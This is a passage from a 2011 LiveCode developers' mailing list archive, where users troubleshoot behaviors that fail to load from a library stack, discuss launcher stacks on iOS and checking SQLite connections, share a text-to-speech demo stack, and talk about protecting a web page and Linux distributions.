mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From m.schonewille at economy-x-talk.com Tue Dec 27 13:00:09 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Tue, 27 Dec 2011 19:00:09 +0100 Subject: Launcher stacks on iOS etc. In-Reply-To: References: Message-ID: <468B5088-5685-4247-B946-B346970199C3@economy-x-talk.com> Hi Todd, For testing, it is a good idea. You could save your work in your personal web folder (on mac) and run your stack on an iOS device right-away. For the iTunes store, I wouldn't recommend it because apple may not allow you to for load additional code. -- Kind regards, Mark Schonewille Economy-x-Talk Http://economy-x-talk.com Share the clipboard of your computer over a local network with Clipboard Link http://clipboardlink.economy-x-talk.com Op 27 dec. 2011 om 18:42 heeft Todd Geist het volgende geschreven: > Hello, > > Clearly on the desktop, using a launcher file to start up the solution > makes a lot of sense. It seems very helpful in terms of managing updates, > setting up the environmment etc. But I am curious is it still a good idea > for things like iOS etc? I am curious to hear from folks who have stuff in > the app stores. Do you still use a launcher file? > > Thanks > > Todd > From bobs at twft.com Tue Dec 27 13:14:10 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 27 Dec 2011 10:14:10 -0800 Subject: Case Study: Behaviors Failing - Can't set break points In-Reply-To: References: Message-ID: Where are the behavior buttons located? They have to be in the open stack or *AN* open stack. I may be mistaken about this, but I think I am not. I have a behavior button on the first card of an app stack, and all my behaviors work fine there. They should also work if they are on the first card of any stack you start using. Someone who knows more should correct me if I am wrong. Bob On Dec 27, 2011, at 9:36 AM, Todd Geist wrote: > Hello, > > I just ran into this issue and I thought I would share it. I thought I was > loading my Behavior's into memory before using them but I wasn't. Here is > what it looked like when it was failing. > > I have some buttons that have behaviors set on them. When you > control-click on them and look at Send Message, the commands that are > associated with the behavior are there. So, I thought, the button is > clearly linked to it's behavior. However using Dispatch to send the message > results in "unhandled". It was not seeing the behavior's handlers. > > If I use the Send form I can see that the message is sent to the Button, > but is not picked up by the Behavior, just the Button. Even if there is no > handler for the message in the button. I can tell this by stepping through > with the debugger. The debugger goes to the button's Script ( not the > behavior's script ) even though the script is empty. It never makes it on > to the behavior. > > I also noticed that I couldn't set Break Points in the behavior scripts in > the debugger when this condition happened. They just didn't work. > > In all cases, I can it by simply resetting the behavior to itself, like so: > > *set *the behavior of tControl to the behavior of tControl > > > So whats the deal? The button appears to be linked to the behavior? But I > can't send it messages? And I can't set break points in the Behavior > scripts. > > Well the problem is that the behaviors are not in memory when the buttons > that use them are placed into memory. I thought that they were because I > was loading the stack containing the Behaviors as part of the PreOpenCard > in my first stack. So the Behaviors were in a second stack. And they were > being referenced by the first stack. > > I think the docs point this out, but I was confused by the apparent > linking, and the fact that I thought loading on PreOpenCard or PreOpenStack > would be enough. But its not. > > I am including behaviors in a Library stack, instead of embedding them into > a the stacks that use them. These are pure code Behaviors, no UI. And they > are part of the larger feature set provided by the library. I wanted to be > able to keep the library and it's behavior's separate. So either I will > have to build a launcher file that just loads the library first or build in > re-linking, which may not be a bad thing anyway. > > ??????????? > > Todd > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From todd at geistinteractive.com Tue Dec 27 13:18:42 2011 From: todd at geistinteractive.com (Todd Geist) Date: Tue, 27 Dec 2011 10:18:42 -0800 Subject: Launcher stacks on iOS etc. In-Reply-To: <468B5088-5685-4247-B946-B346970199C3@economy-x-talk.com> References: <468B5088-5685-4247-B946-B346970199C3@economy-x-talk.com> Message-ID: Hi Mark, I wasn't thinking of using a launcher to load additional code from the internet on iOS. that would be cool, but I would guess you are right, that it wouldn't be allowed. But I was thinking more along the lines of having a place to load stuff and setup the environment before launching the main stack. Are there reasons why this can't or shouldn't be done on iOS or android, etc. Todd On Tue, Dec 27, 2011 at 10:00 AM, Mark Schonewille < m.schonewille at economy-x-talk.com> wrote: > Hi Todd, > > For testing, it is a good idea. You could save your work in your personal > web folder (on mac) and run your stack on an iOS device right-away. > > For the iTunes store, I wouldn't recommend it because apple may not allow > you to for load additional code. > > -- > Kind regards, > > Mark Schonewille > Economy-x-Talk > Http://economy-x-talk.com > > Share the clipboard of your computer over a local network with Clipboard > Link http://clipboardlink.economy-x-talk.com > > > Op 27 dec. 2011 om 18:42 heeft Todd Geist het > volgende geschreven: > > > Hello, > > > > Clearly on the desktop, using a launcher file to start up the solution > > makes a lot of sense. It seems very helpful in terms of managing updates, > > setting up the environmment etc. But I am curious is it still a good > idea > > for things like iOS etc? I am curious to hear from folks who have stuff > in > > the app stores. Do you still use a launcher file? > > > > Thanks > > > > Todd > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Todd Geist (805) 419-9382 From bobs at twft.com Tue Dec 27 13:22:14 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 27 Dec 2011 10:22:14 -0800 Subject: revOpenDatabase Problem In-Reply-To: References: <5B5706F5-8928-4E41-ABAE-E846242F087B@twft.com> Message-ID: <019BA789-DB9B-4C49-B6E2-28F67418ACFC@twft.com> Yes you will get an error if you send a query using this construct: put "SELECT TRUE as CONNECTED" into theSQL try put revDataFromQuery(,,tConnectionID,theSQL) into myResult catch theError answer theError exit to top end try -- myResult now equals 1 Call something like this right after you "open" the database. The query will fail and throw an error if the file is not a valid sqLite database (or if you are not connected to ANY sql database). if it succeeds, myResult will contain 1. The simple query has the advantage that it will work with any database. Bob On Dec 27, 2011, at 9:50 AM, Pete wrote: > All good stuff but none of it tells me if I've opened an sqlite database > :-) You may have missed the post about opening the file as a regular file > and checking the first 16 bytes - that's the solution I used, seems to work > just great. From todd at geistinteractive.com Tue Dec 27 13:23:17 2011 From: todd at geistinteractive.com (Todd Geist) Date: Tue, 27 Dec 2011 10:23:17 -0800 Subject: Case Study: Behaviors Failing - Can't set break points In-Reply-To: References: Message-ID: On Tue, Dec 27, 2011 at 10:14 AM, Bob Sneidar wrote: > Where are the behavior buttons located? They have to be in the open stack > or *AN* open stack. I may be mistaken about this, but I think I am not. I > have a behavior button on the first card of an app stack, and all my > behaviors work fine there. They should also work if they are on the first > card of any stack you start using. Someone who knows more should correct me > if I am wrong. > The behaviors are in a library stack. That stack was being loaded by the Main stack, in a PreOpenCard handler. the Main stack was also using the behaviors. They are two separate stacks. So the Main stack loads into memory, then On PreOpenCard it loads the Library stack that has the behaviors. This is the problem. If the library stack is loaded first into memory, everything works. So I may need a launcher file that Loads the Libraries first THEN the main stack. Todd From jhurley0305 at sbcglobal.net Tue Dec 27 13:30:18 2011 From: jhurley0305 at sbcglobal.net (Jim Hurley) Date: Tue, 27 Dec 2011 10:30:18 -0800 Subject: Point at which speaking is stopped? and ANN: "Text to Speech" In-Reply-To: References: Message-ID: <1A162CE5-5707-4488-8041-0FF395ADAB67@sbcglobal.net> Roger, Very resourceful of you to discover, not just the typo, but the correction. It is indeed a livecode file so: go url "http://www.jamesphurley.com/TextToSpeech.livecode" Jim Hurley > > Message: 14 > Date: Tue, 27 Dec 2011 12:49:24 -0500 > From: Roger Eller > To: How to use LiveCode > Subject: Re: Point at which speaking is stopped? and ANN: "Text to > Speech" > Message-ID: > > Content-Type: text/plain; charset=ISO-8859-1 > > It is a .livecode file: > > go url "http://www.jamesphurley.com/TextToSpeech.livecode" > > > > On Tue, Dec 27, 2011 at 12:37 PM, Bob Sneidar wrote: > >> I get "No such card" >> >> Bob >> >> >> On Dec 26, 2011, at 3:41 PM, Jim Hurley wrote: >> >>> Roger, >>> >>> It is even better for proofreading. >>> >>> I have put my Text to Speech up on the web. Run this in the message box. >>> >>> go url "http://www.jamesphurley.com/TextToSpeech.rev" >>> >>> Jim Hurley >>> >> > > > ------------------------------ > > Message: 15 > Date: Tue, 27 Dec 2011 09:50:28 -0800 > From: Pete > To: How to use LiveCode > Subject: Re: revOpenDatabase Problem > Message-ID: > > Content-Type: text/plain; charset=ISO-8859-1 > > All good stuff but none of it tells me if I've opened an sqlite database > :-) You may have missed the post about opening the file as a regular file > and checking the first 16 bytes - that's the solution I used, seems to work > just great. > > On Tue, Dec 27, 2011 at 9:35 AM, Bob Sneidar wrote: > >> After opening it, and inside a try/catch statement just use select TRUE as >> connected and get the query as a string. If it throws an error you know >> something is wrong. >> >> One thing I like to do in database driven apps is create handlers called >> dbopen, dbclose, dbIdle isConnected. In those handlers I put the database >> commands inside try/catch constructs, and return false when I fail. Before >> any query I will call isConnected, which attempts to do some arbitrary >> thing with the database, like select TRUE as connected, which will return 1 >> if it succeeds and throw an error if it doesn't. When I am done I call >> dbIdle which closes the connection (good practice because the server is >> going to disconnect you anyway after a certain amount of time). >> >> The Open function attempts a connection to the database with the options >> the user entered on a setup card. If successful, I set a global I can check >> in the future to make sure I successfully connected on startup. If the >> global is false, then I prevent any interaction with the app, sometimes >> quitting (if not in development). >> >> By doing this I don't have to recode error handling every place I need to >> query. isConnected, upon failing will exit to top after alerting the user >> that something is wrong. The close handler will close all cursors and >> database handlers, but this is not strictly necessary, as dbIdle. >> >> Since using sqlYoga, this is all rather moot anyway, as this kind of >> functionality is built into it. >> >> Bob >> >> >> On Dec 26, 2011, at 1:33 PM, Pete wrote: >> >>> Using revOpenDatabase to open an sqlite database using a file that is not >>> an sqlite database return an integer as if the database was successfully >>> opened. Any subsequent db accesses fail of course but I wonder why >>> revOpenDatabase doesn't return an error? >>> >>> >>> -- >>> Pete >>> Molly's Revenge >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> > > > -- > Pete > Molly's Revenge > > > ------------------------------ > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > http://lists.runrev.com/mailman/listinfo/use-livecode > > End of use-livecode Digest, Vol 99, Issue 50 > ******************************************** From bobs at twft.com Tue Dec 27 13:36:30 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 27 Dec 2011 10:36:30 -0800 Subject: Case Study: Behaviors Failing - Can't set break points In-Reply-To: References: Message-ID: Ah, IC. Are you using 5.02? There is the thread about things not loading in the order you would expect with version 5.02. Might it have something to do with that? Bob On Dec 27, 2011, at 10:23 AM, Todd Geist wrote: > On Tue, Dec 27, 2011 at 10:14 AM, Bob Sneidar wrote: > >> Where are the behavior buttons located? They have to be in the open stack >> or *AN* open stack. I may be mistaken about this, but I think I am not. I >> have a behavior button on the first card of an app stack, and all my >> behaviors work fine there. They should also work if they are on the first >> card of any stack you start using. Someone who knows more should correct me >> if I am wrong. >> > > The behaviors are in a library stack. That stack was being loaded by the > Main stack, in a PreOpenCard handler. the Main stack was also using the > behaviors. They are two separate stacks. > > So the Main stack loads into memory, then On PreOpenCard it loads the > Library stack that has the behaviors. This is the problem. If the library > stack is loaded first into memory, everything works. So I may need a > launcher file that Loads the Libraries first THEN the main stack. > > Todd > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From m.schonewille at economy-x-talk.com Tue Dec 27 13:39:17 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Tue, 27 Dec 2011 19:39:17 +0100 Subject: Launcher stacks on iOS etc. In-Reply-To: References: <468B5088-5685-4247-B946-B346970199C3@economy-x-talk.com> Message-ID: <534AD337-63A2-466B-A633-C8A5404E898F@economy-x-talk.com> Hi Todd, Sure, you can do that, but there is a small syntax problem. I think that go stack works, but go stack in window doesn't. This won't keep you from making a launcher, but it is useful to know ;) -- Kind regards, Mark Schonewille Economy-x-Talk Http://economy-x-talk.com Share the clipboard of your computer over a local network with Clipboard Link http://clipboardlink.economy-x-talk.com Op 27 dec. 2011 om 19:18 heeft Todd Geist het volgende geschreven: > Hi Mark, > > I wasn't thinking of using a launcher to load additional code from the > internet on iOS. that would be cool, but I would guess you are right, that > it wouldn't be allowed. But I was thinking more along the lines of having > a place to load stuff and setup the environment before launching the main > stack. Are there reasons why this can't or shouldn't be done on iOS or > android, etc. > > > Todd > From pete at mollysrevenge.com Tue Dec 27 13:39:37 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 27 Dec 2011 10:39:37 -0800 Subject: Case Study: Behaviors Failing - Can't set break points In-Reply-To: References: Message-ID: Are the behavior buttons in the actual library stack or in a substack of the library stack? I've run into a similar problem before and ending setting thew stackFiles property of the app's main stack to name the behavior stack. Pete On Tue, Dec 27, 2011 at 10:23 AM, Todd Geist wrote: > On Tue, Dec 27, 2011 at 10:14 AM, Bob Sneidar wrote: > > > Where are the behavior buttons located? They have to be in the open stack > > or *AN* open stack. I may be mistaken about this, but I think I am not. I > > have a behavior button on the first card of an app stack, and all my > > behaviors work fine there. They should also work if they are on the first > > card of any stack you start using. Someone who knows more should correct > me > > if I am wrong. > > > > The behaviors are in a library stack. That stack was being loaded by the > Main stack, in a PreOpenCard handler. the Main stack was also using the > behaviors. They are two separate stacks. > > So the Main stack loads into memory, then On PreOpenCard it loads the > Library stack that has the behaviors. This is the problem. If the library > stack is loaded first into memory, everything works. So I may need a > launcher file that Loads the Libraries first THEN the main stack. > > Todd > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From todd at geistinteractive.com Tue Dec 27 13:44:03 2011 From: todd at geistinteractive.com (Todd Geist) Date: Tue, 27 Dec 2011 10:44:03 -0800 Subject: Case Study: Behaviors Failing - Can't set break points In-Reply-To: References: Message-ID: I am using 5.0.2. But I am not sure if thats the issue. I looked for the thread you referenced but I can't find it, any hints on the keywords? Thanks Todd On Tue, Dec 27, 2011 at 10:36 AM, Bob Sneidar wrote: > Ah, IC. Are you using 5.02? There is the thread about things not loading > in the order you would expect with version 5.02. Might it have something to > do with that? -- Todd Geist (805) 419-9382 From todd at geistinteractive.com Tue Dec 27 13:47:25 2011 From: todd at geistinteractive.com (Todd Geist) Date: Tue, 27 Dec 2011 10:47:25 -0800 Subject: Case Study: Behaviors Failing - Can't set break points In-Reply-To: References: Message-ID: They are in the Library Stack itself not a substack. So you essentially injected the Library stack into the Main stack? On Tue, Dec 27, 2011 at 10:39 AM, Pete wrote: > Are the behavior buttons in the actual library stack or in a substack of > the library stack? I've run into a similar problem before and ending > setting thew stackFiles property of the app's main stack to name the > behavior stack. > Pete > Todd From jhurley0305 at sbcglobal.net Tue Dec 27 14:03:52 2011 From: jhurley0305 at sbcglobal.net (Jim Hurley) Date: Tue, 27 Dec 2011 11:03:52 -0800 Subject: OT Password protection of RR server? In-Reply-To: References: Message-ID: <62A7C0BC-F908-4C17-B3D9-829C0DF36092@sbcglobal.net> I am a novice at this sort of thing, so bear with me. I have an account on RR's server. The domain servers are listed as: NS2.ON-REV.COM NS1.ON-REV.COM I would like to password protect a page. Is there anything about the RR server that affects how that should be done? I'm not looking for anything serious; I don't mind if my protection is foiled; I just want the user know that the page was not designed for the general public. Some simple HTML text in the header would be nice. Jim From roger.e.eller at sealedair.com Tue Dec 27 14:11:03 2011 From: roger.e.eller at sealedair.com (Roger Eller) Date: Tue, 27 Dec 2011 14:11:03 -0500 Subject: Point at which speaking is stopped? and ANN: "Text to Speech" In-Reply-To: <1A162CE5-5707-4488-8041-0FF395ADAB67@sbcglobal.net> References: <1A162CE5-5707-4488-8041-0FF395ADAB67@sbcglobal.net> Message-ID: On Tue, Dec 27, 2011 at 1:30 PM, Jim Hurley wrote: > Roger, > > Very resourceful of you to discover, not just the typo, but the correction. > > It is indeed a livecode file so: > > go url "http://www.jamesphurley.com/TextToSpeech.livecode" > > Jim Hurley > I got a good laugh at your proof reading example. I also like how it resumes speaking at the location clicked. Nice! ?Roger From pete at mollysrevenge.com Tue Dec 27 14:23:09 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 27 Dec 2011 11:23:09 -0800 Subject: Case Study: Behaviors Failing - Can't set break points In-Reply-To: References: Message-ID: OK, not exactly the same issue I had but stackfiles might still help. If your behaviors don't use a fully qualified stack file name (eg button id 1020 of stack "Behaviors"), a stackfiles entry naming Behaviors and its fully qualified stackfile path enables LC to resolve the behavior references. Not sure if that's your situation but maybe that will help. Pete On Tue, Dec 27, 2011 at 10:47 AM, Todd Geist wrote: > They are in the Library Stack itself not a substack. > > So you essentially injected the Library stack into the Main stack? > > On Tue, Dec 27, 2011 at 10:39 AM, Pete wrote: > > > Are the behavior buttons in the actual library stack or in a substack of > > the library stack? I've run into a similar problem before and ending > > setting thew stackFiles property of the app's main stack to name the > > behavior stack. > > Pete > > > > Todd > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From bobs at twft.com Tue Dec 27 15:01:51 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 27 Dec 2011 12:01:51 -0800 Subject: Point at which speaking is stopped? and ANN: "Text to Speech" In-Reply-To: References: <1A162CE5-5707-4488-8041-0FF395ADAB67@sbcglobal.net> Message-ID: Yes, I like that too. In fact, the text to speech is actually better than a lot of audio books I have heard! ;-) Bob On Dec 27, 2011, at 11:11 AM, Roger Eller wrote: > On Tue, Dec 27, 2011 at 1:30 PM, Jim Hurley wrote: > >> Roger, >> >> Very resourceful of you to discover, not just the typo, but the correction. >> >> It is indeed a livecode file so: >> >> go url "http://www.jamesphurley.com/TextToSpeech.livecode" >> >> Jim Hurley >> > > I got a good laugh at your proof reading example. I also like how it > resumes speaking at the location clicked. Nice! > > ?Roger > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Tue Dec 27 15:05:15 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 27 Dec 2011 12:05:15 -0800 Subject: Case Study: Behaviors Failing - Can't set break points In-Reply-To: References: Message-ID: Good point. The proper syntax *should* be set the behavior of to the long id of button . If the behavior script button is located on the first card of the stack the object is in, then you can use shorter versions, but why risk it? In your case, since the behavior is in a library, use the long ID. Bob On Dec 27, 2011, at 11:23 AM, Pete wrote: > OK, not exactly the same issue I had but stackfiles might still help. If > your behaviors don't use a fully qualified stack file name (eg button id > 1020 of stack "Behaviors"), a stackfiles entry naming Behaviors and its > fully qualified stackfile path enables LC to resolve the behavior > references. Not sure if that's your situation but maybe that will help. > Pete > > On Tue, Dec 27, 2011 at 10:47 AM, Todd Geist wrote: > >> They are in the Library Stack itself not a substack. >> >> So you essentially injected the Library stack into the Main stack? >> >> On Tue, Dec 27, 2011 at 10:39 AM, Pete wrote: >> >>> Are the behavior buttons in the actual library stack or in a substack of >>> the library stack? I've run into a similar problem before and ending >>> setting thew stackFiles property of the app's main stack to name the >>> behavior stack. >>> Pete >>> >> >> Todd >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> > > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From todd at geistinteractive.com Tue Dec 27 15:05:57 2011 From: todd at geistinteractive.com (Todd Geist) Date: Tue, 27 Dec 2011 12:05:57 -0800 Subject: Case Study: Behaviors Failing - Can't set break points In-Reply-To: References: Message-ID: Thanks Pete, but that doesn't help. On a side note. I can't set a Behavior to any other then the Short Reference. I set it with a Long ID including the path. But it is immediately converted to the short "button id 1020 of stack behaviors" form Todd On Tue, Dec 27, 2011 at 11:23 AM, Pete wrote: > OK, not exactly the same issue I had but stackfiles might still help. If > your behaviors don't use a fully qualified stack file name (eg button id > 1020 of stack "Behaviors"), a stackfiles entry naming Behaviors and its > fully qualified stackfile path enables LC to resolve the behavior > references. Not sure if that's your situation but maybe that will help. > Pete > > On Tue, Dec 27, 2011 at 10:47 AM, Todd Geist >wrote: > > > They are in the Library Stack itself not a substack. > > > > So you essentially injected the Library stack into the Main stack? > > > > On Tue, Dec 27, 2011 at 10:39 AM, Pete wrote: > > > > > Are the behavior buttons in the actual library stack or in a substack > of > > > the library stack? I've run into a similar problem before and ending > > > setting thew stackFiles property of the app's main stack to name the > > > behavior stack. > > > Pete > > > > > > > Todd > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Todd Geist (805) 419-9382 From todd at geistinteractive.com Tue Dec 27 15:19:38 2011 From: todd at geistinteractive.com (Todd Geist) Date: Tue, 27 Dec 2011 12:19:38 -0800 Subject: Case Study: Behaviors Failing - Can't set break points In-Reply-To: References: Message-ID: I am using the long ID when I set it. But LiveCode immediately converts it to the shorter version It is not my doing. If Set this button id 1004 of card id 1002 of stack "/Users/todd/Desktop/A.livecode" LiveCode immediately changes it to button id 1004 of card id 1002 of stack "/Users/todd/Desktop/A.livecode" This is a good I think. I am pretty sure you wouldn't want to include the full path to a stack in a behavior Todd On Tue, Dec 27, 2011 at 12:05 PM, Bob Sneidar wrote: > Good point. The proper syntax *should* be > set the behavior of to the long id of button . > If the behavior script button is located on the first card of the stack the > object is in, then you can use shorter versions, but why risk it? In your > case, since the behavior is in a library, use the long ID. > > Bob > > > On Dec 27, 2011, at 11:23 AM, Pete wrote: > > > OK, not exactly the same issue I had but stackfiles might still help. If > > your behaviors don't use a fully qualified stack file name (eg button id > > 1020 of stack "Behaviors"), a stackfiles entry naming Behaviors and its > > fully qualified stackfile path enables LC to resolve the behavior > > references. Not sure if that's your situation but maybe that will help. > > Pete > > > > On Tue, Dec 27, 2011 at 10:47 AM, Todd Geist >wrote: > > > >> They are in the Library Stack itself not a substack. > >> > >> So you essentially injected the Library stack into the Main stack? > >> > >> On Tue, Dec 27, 2011 at 10:39 AM, Pete wrote: > >> > >>> Are the behavior buttons in the actual library stack or in a substack > of > >>> the library stack? I've run into a similar problem before and ending > >>> setting thew stackFiles property of the app's main stack to name the > >>> behavior stack. > >>> Pete > >>> > >> > >> Todd > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your > >> subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > >> > >> > > > > > > -- > > Pete > > Molly's Revenge > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Todd Geist (805) 419-9382 From matthias_livecode_150811 at m-r-d.de Tue Dec 27 15:28:12 2011 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Tue, 27 Dec 2011 21:28:12 +0100 Subject: OT Password protection of RR server? In-Reply-To: <62A7C0BC-F908-4C17-B3D9-829C0DF36092@sbcglobal.net> References: <62A7C0BC-F908-4C17-B3D9-829C0DF36092@sbcglobal.net> Message-ID: Jim, do you mean the on-rev server? If so, the easiest way is to do this in the cPanel -> Security -> Password Protect Directories If you do not mean the on-rev server, could then please explain what kind of account you are speaking about. Regards, Matthias Am 27.12.2011 um 20:03 schrieb Jim Hurley: > I am a novice at this sort of thing, so bear with me. > > I have an account on RR's server. The domain servers are listed as: > > NS2.ON-REV.COM > NS1.ON-REV.COM > > I would like to password protect a page. Is there anything about the RR server that affects how that should be done? > > I'm not looking for anything serious; I don't mind if my protection is foiled; I just want the user know that the page was not designed for the general public. > > Some simple HTML text in the header would be nice. > > Jim > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From todd at geistinteractive.com Tue Dec 27 15:28:57 2011 From: todd at geistinteractive.com (Todd Geist) Date: Tue, 27 Dec 2011 12:28:57 -0800 Subject: Case Study: Behaviors Failing - Can't set break points In-Reply-To: References: Message-ID: whoops That didn't paste right It starts as this button id 1004 of card id 1002 of stack "/Users/todd/Desktop/A.livecode" it changes to this button id 1004 of stack "A" Todd From bobs at twft.com Tue Dec 27 15:33:27 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 27 Dec 2011 12:33:27 -0800 Subject: Case Study: Behaviors Failing - Can't set break points In-Reply-To: References: Message-ID: <72158118-9ACF-4469-9912-1C0335102052@twft.com> mmm that IS the long ID. The short id would just be a number. But you *can* use the short name, and it wouldn't surprise me if Livecode then transformed that into the long ID. I wasn't aware of that. Bob On Dec 27, 2011, at 12:19 PM, Todd Geist wrote: > If Set this > > button id 1004 of card id 1002 of stack "/Users/todd/Desktop/A.livecode" > > LiveCode immediately changes it to > > button id 1004 of card id 1002 of stack "/Users/todd/Desktop/A.livecode" From ambassador at fourthworld.com Tue Dec 27 15:35:17 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Tue, 27 Dec 2011 12:35:17 -0800 Subject: Crashing Ubuntu 11.10 with LC 4.5 In-Reply-To: References: Message-ID: <4EFA2C05.4050103@fourthworld.com> Bernard Devlin wrote: > I was so appalled by the latest Ubuntu, I switched to Mint. Ubuntu > had become as slow as using Windows Vista. Is that with 11.10 or 11.04? When I first tried 11.04 it was slow, and I wound up staying with 10.10 until 11.10 came out. But since I upgraded to 11.10 last month, on my Core2 Duo laptop it runs very well. In terms of design, it's almost as big a departure from earlier versions as OS X is from Mac OS 9. And as with my Mac experience, the transition was a bit jarring at first, and I initially complained about not being as productive. But with both OS X and Unity, the more time I spend with the new system the more I like it. It seems a matter of taste, though. I know more than a few Mac users who still prefer the design of OS 9, and it seems there are quite a few Ubuntu users who prefer 10 over 11. But unlike the Mac world, at least us Linux users can choose which environment we want to work in. :) > No wonder Mint has taken off. Whilst the main charts in the link below > are based on DistroWatch (arguably a sign of what cutting-edge linux > users are up to), the chart further down the page showing Google search > data indicates that the claim that Ubuntu is losing out to Mint has some > basis. > > http://royal.pingdom.com/2011/11/23/ubuntu-linux-losing-popularity-fast-new-unity-interface-to-blame/ Respectfully, DistroWatch stats aren't a good measure of general interest, for the reasons I detailed in this post in the Ubuntu forum: In that post I also include Alexa site rankings, which show many times more interest in Ubuntu than Mint, similar to the Google stats in the article you linked to which also shows Ubuntu ranking much higher than Mint. Mint's a great system, but in terms of overall popularity the factor that affects the Linux world the most is that the average person doesn't think of operating systems as something they can choose, but simply uses whatever came with their computer. In 2011 the number of OEMs shipping computers with Ubuntu preinstalled continued to grow. In addition to Dell, Asus, and others, there are Linux-exclusive vendors like System 76 which offer only Ubuntu. Even ZaReason, which offers Mint and others as options, has Ubuntu as their default choice. My friend Aviv who runs LinuCity here in SoCal offers a few systems with Mint preinstalled, but most of his line is Ubuntu. Being Ubuntu-based, Mint provides a great option for those who want most of what Ubuntu offers but with the more traditional UI. But the Gnome Project killed Gnome 2 for a reason, and sooner or later we can expect most distros to be using either Gnome 3/Shell or a variant like Unity. This transition from a Windows-like task bar to a Mac-like dock isn't perfect in either the Gnome Shell or Unity implementations, but I feel such evolution is inevitable for the continued growth of the platform. And best of all, it's Linux: we have plenty of choices to use any distro, desktop environment, and tweaks we want to get exactly what we most prefer. I used to lament the number of distros out there, but the more I spend time with the Linux community the more I've come to appreciate the strengths of such diversity. PS: If anyone here is going to SCaLE 10x next month let's meet up there - I'll be there all three days: -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From todd at geistinteractive.com Tue Dec 27 15:38:33 2011 From: todd at geistinteractive.com (Todd Geist) Date: Tue, 27 Dec 2011 12:38:33 -0800 Subject: Case Study: Behaviors Failing - Can't set break points In-Reply-To: <72158118-9ACF-4469-9912-1C0335102052@twft.com> References: <72158118-9ACF-4469-9912-1C0335102052@twft.com> Message-ID: Yeah sorry see my other message It starts as this button id 1004 of card id 1002 of stack "/Users/todd/Desktop/A.livecode" it changes to this button id 1004 of stack "A" Todd From bobs at twft.com Tue Dec 27 15:46:16 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 27 Dec 2011 12:46:16 -0800 Subject: Case Study: Behaviors Failing - Can't set break points In-Reply-To: References: Message-ID: <18B6FA5E-0D34-4A7C-B094-0A13D87B85E6@twft.com> That is still the long ID. Bob On Dec 27, 2011, at 12:28 PM, Todd Geist wrote: > whoops > > That didn't paste right > > It starts as this > > button id 1004 of card id 